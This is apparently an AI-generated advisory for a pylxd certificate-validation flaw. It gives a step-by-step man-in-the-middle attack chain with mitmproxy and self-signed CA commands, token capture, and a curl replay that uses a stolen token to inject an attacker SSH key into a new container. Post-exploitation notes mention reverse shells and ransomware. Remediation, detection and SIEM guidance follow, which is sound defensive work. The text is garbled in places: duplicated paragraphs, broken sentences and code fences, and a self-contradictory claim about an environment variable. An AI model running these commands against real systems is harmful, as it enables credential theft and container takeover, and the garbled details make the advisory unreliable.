CVE-2026-140083 — Canonical Pylxd — CWE-295
Improper certificate validation in HTTPS session creation in Canonical pylxd before 2.4.3 allows an active network attacker to impersonate the LXD endpoint and read and alter API requests and responses, including credentials, secrets, and instance data, via man-in-the-middle interception of HTTPS traffic whose server certificate verification is disabled by default.
Improper certificate validation in HTTPS session creation in Canonical pylxd before 2.4.3 allows an active network attacker to impersonate the LXD endpoint and read and alter API requests and responses, including credentials, secrets, and instance data, via man-in-the-middle interception of HTTPS traffic whose server certificate verification is disabled by default.
🎯 What is this vulnerability?
CVE‑2026‑140083 – Improper certificate validation in pylxd (Canonical)
| Attribute | Value |
|---|---|
| Product | pylxd – the official Python client library for LXD (Linux Containers) |
| Affected versions | < 2.4.3 (all releases prior to 2.4.3) |
| CWE | CWE‑295 Improper Certificate Validation |
| CVSS v4.0 vector | AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N |
Technical flaw
pylxd creates an HTTPS connection to the local LXD daemon (/var/snap/lxd/common/lxd/unix.socket or a TCP endpoint) by using the Python requests library.
In versions prior to 2.4.3 the client forces verify=False unless the caller explicitly passes a cert/verify argument. The library’s documentation states that “certificate verification is disabled by default for local development,” but the default is hard‑coded and not overridden by environment variables or configuration files.
Consequences:
- The TLS handshake proceeds without any server‑certificate validation – the client accepts any certificate presented by the remote party.
- An active network attacker who can place himself in the path (e.g., compromised Wi‑Fi, malicious router, or a compromised host on the same LAN) can present a self‑signed certificate, complete the TLS handshake, and read or modify every API request and response that travels over the channel. Because the LXD API is authenticated via client‑side TLS certificates or* a session token that is transmitted over the same TLS channel, a MITM can capture those credentials, reuse them, or inject malicious payloads (e.g., altered container configuration, injected SSH keys, or arbitrary command execution via the
- Network‑originated attack (
AV:N) – no proximity required. - High attack complexity (
AC:H) – the attacker must be able to intercept the traffic (e.g., ARP‑spoof, compromised switch, or VPN termination point). - No privileges required (
PR:N) and no user interaction (UI:N). - Confidentiality (VC:H) and Integrity (VI:H) impact – the attacker can read and tamper with all API data.
- No availability impact (
VA:N) – the service continues to run.
exec endpoint).The CVSS vector reflects:
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All commands are illustrative; the exact endpoint URI (/1.0/containers) is the standard LXD REST API path, but the vulnerability is independent of the specific resource.
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Identify hosts running LXD. | nmap -p 8443 <target> (default LXD HTTPS port) or lxc list --format json on a known management host. |
| 1.2 | Determine the client library version used by any automation scripts, CI pipelines, or custom orchestration tools. | Search for pylxd in requirements.txt, Pipfile.lock, or Dockerfile (pip show pylxd). |
| 1.3 | Verify that the version is < 2.4.3. | pip show pylxd → Version: 2.3.9 (example). |
| 1.4 | Confirm that the LXD daemon is reachable over the network (not bound to a Unix socket only). | curl -k https://<target>:8443/1.0 – a 200 OK with JSON indicates the API is exposed. |
2. Exploitation
Goal: Intercept the TLS session, capture the authentication token/certificate, and optionally inject malicious data.
2.1 Set up a MITM proxy that terminates TLS
# Install mitmproxy (or any TLS‑terminating proxy)
pip install mitmproxy
# Generate a self‑signed CA that the attacker controls
openssl req -new -x509 -days 365 -nodes -out mitm-ca.crt -keyout mitm-ca.key -subj "/CN=Attacker MITM CA"
# Start mitmproxy listening on the same port the victim expects (8443)
mitmproxy --mode reverse:https://<victim-lxd-host>:8443 \
--listen-port 8443 \
--cert mitm-ca.crt \
--key mitm-ca.keyThe proxy presents its own certificate (mitm-ca.crt) to the victim’s pylxd client. Because pylxd disables verification, the handshake succeeds.
2.2 Capture the authentication material
# While the proxy is running, start a legitimate `pylxd` operation from the compromised host
python3 - <<'PY'
import pylxd
# The client will automatically use the default (verify=False) behaviour
client = pylxd.Client(endpoint='https://<victim-lxd-host>:8443')
# Example API call – list containers
print(client.containers.all())
PYAll HTTP traffic (including the Authorization: Bearer <token> header or the client TLS certificate exchange) is now visible in mitmproxy’s log (~/.mitmproxy/mitmproxy.log). An attacker can:
Authorization: Bearer …) and reuse it directly against the LXD API.2.3 Optional request tampering (illustrative)
Suppose the attacker wants to inject an SSH public key into a newly created container. The LXD API endpoint for container creation is /1.0/containers. An illustrative curl command that the attacker could replay (with the stolen token) is:
curl -k -X POST "https://<victim-lxd-host>:8443/1.0/containers" \
-H "Authorization: Bearer <stolen-token>" \
-H "Content-Type: application/json" \
-d '{
"name": "evil-container",
"source": {"type":"image","alias":"ubuntu/22.04"},
"config": {"user.user-data": "#cloud-config\nssh_authorized_keys:\n - ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC... attacker@evil"}
}'Because the TLS channel is under the attacker’s control, the request can be altered without the victim noticing.
3. Post‑Exploitation
| Phase | Attacker capability | Typical follow‑up actions |
|---|---|---|
| Credential Harvest | Possession of the LXD API bearer token or client certificate. | Re‑use token to issue arbitrary API calls from any remote host. |
| Container Manipulation | Create, delete, snapshot, or execute commands inside containers via the exec endpoint (/1.0/containers/<name>/exec). | Deploy a reverse shell, install ransomware, or pivot to the host OS (LXD runs as root). |
| Privilege Escalation | LXD containers share the host kernel; a compromised container can exploit kernel vulnerabilities or mis‑configurations (e.g., privileged containers). | Achieve root on the host → full control of the underlying server. |
| Data Exfiltration | Read container files, configuration, and any secrets stored in LXD profiles (e.g., API keys, database passwords). | Dump /var/snap/lxd/common/lxd/containers/*/rootfs or retrieve stored secrets via the API. |
| Persistence | Insert malicious images or profiles that survive host reboots. | Push a malicious LXD image, set it as default for future deployments. |
🌍 Real‑World Impact
| CIA | Impact (derived from CVSS) | Practical consequences |
|---|---|---|
| Confidentiality (VC:H) | High – attacker can read every API request/response, including bearer tokens, client certificates, container filesystem snapshots, and any secrets stored in LXD profiles. | Exposure of SSH keys, database credentials, internal service tokens, and potentially customer data. |
| Integrity (VI:H) | High – attacker can modify API payloads, create/alter/delete containers, inject malicious cloud‑init/user‑data, or change host‑level configuration. | Unauthorized code execution, back‑doors, ransomware deployment, or sabotage of production workloads. |
| Availability (VA:N) | None – the vulnerability does not directly cause denial‑of‑service. | No immediate outage, but a skilled attacker could later cause DoS by deleting critical containers. |
Business impact can range from data breach (regulatory fines, loss of trust) to full system compromise (root on the host, lateral movement across the data center).
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
Upgrade pylxd | Move to pylxd >= 2.4.3. The fixed version sets verify=True by default and requires an explicit verify=False flag to be passed by the caller. |
| Re‑build dependent images | Re‑install the library in any Docker images, CI runners, or automation VMs that embed the vulnerable version. |
| Verify version | After upgrade, python3 -c "import pylxd, sys; print(pylxd.__version__)" should output 2.4.3 or later. |
2. Immediate Workarounds (if patch cannot be applied immediately)
| Workaround | Implementation |
|---|---|
| Force certificate verification in code | ``python\nimport pylxd, os\nclient = pylxd.Client(endpoint='https://<host>:8443', verify=True) # explicit\n` |
Set the PYLXD_VERIFY environment variable (added in 2.4.0) | `bash\nexport PYLXD_VERIFY=1 # forces verification for all clients\n` |
| Restrict network exposure of the LXD API | - Bind LXD to the Unix socket only (lxd.socket_path). <br> - If TCP is required, place it behind a firewall that only allows trusted IPs (e.g., management subnet). |
| Deploy a local TLS‑terminating reverse proxy with a pinned CA | Use stunnel or nginx with proxy_ssl_verify on;` and provide a proper CA chain. This adds a second layer of verification even if the client library is mis‑configured. |
| Disable client‑side token authentication (if not needed) and rely solely on mutual TLS with properly signed client certificates. | This reduces the value of a stolen bearer token. |
3. Detection
| Indicator | Where to look | Example log entry |
|---|---|---|
| Unexpected TLS handshake with self‑signed certificate | LXD daemon logs (/var/log/syslog or snap.lxd.daemon.log) when --debug is enabled. | 2026-11-30T12:34:56.789Z DEBUG TLS handshake completed with certificate CN=Attacker MITM CA |
| API calls from unknown IPs | LXD API access logs (/var/snap/lxd/common/lxd/logs/lxd.log). | 2026-11-30T12:35:01.123Z INFO API request GET /1.0/containers from 10.0.5.23 |
| Bearer token reuse | Look for the same token appearing in multiple source IPs within a short window. | 2026-11-30T12:35:10.456Z WARN Duplicate token usage from 10.0.5.23 and 10.0.5.45 |
| MITM proxy user‑agent strings | Some proxies inject User-Agent: mitmproxy/.... | User-Agent: mitmproxy/10.2.0 |
| Anomalous container creation | Audit LXD events (lxc monitor) for containers created with suspicious names or config. | 2026-11-30T12:36:00.000Z container created: evil-container (source=image:ubuntu/22.04) |
SIEM rule sketch (generic):
title: "Possible MITM on LXD API (pylxd <2.4.3)"
logsource:
product: lxd
detection:
selection:
EventID: 2000 # LXD API request
HttpUserAgent|contains: 'mitmproxy'
timeframe: 5m
condition: selection
action: alert⚠️ Urgency
Patch priority: Urgent (P1)
pylxd >= 2.4.3 within the next 48 hours for any production environment that communicates with LXD over TCP. Bottom line: The default‑off certificate verification in
pylxd turns every TLS‑protected LXD API call into a clear‑text channel for a MITM attacker. The vulnerability enables full read/write access to container workloads and host‑level credentials. Rapid patching, enforced TLS verification, and strict network segmentation are the only reliable mitigations.[🤖 CVE Professor AI Security Engine]
FOFA Query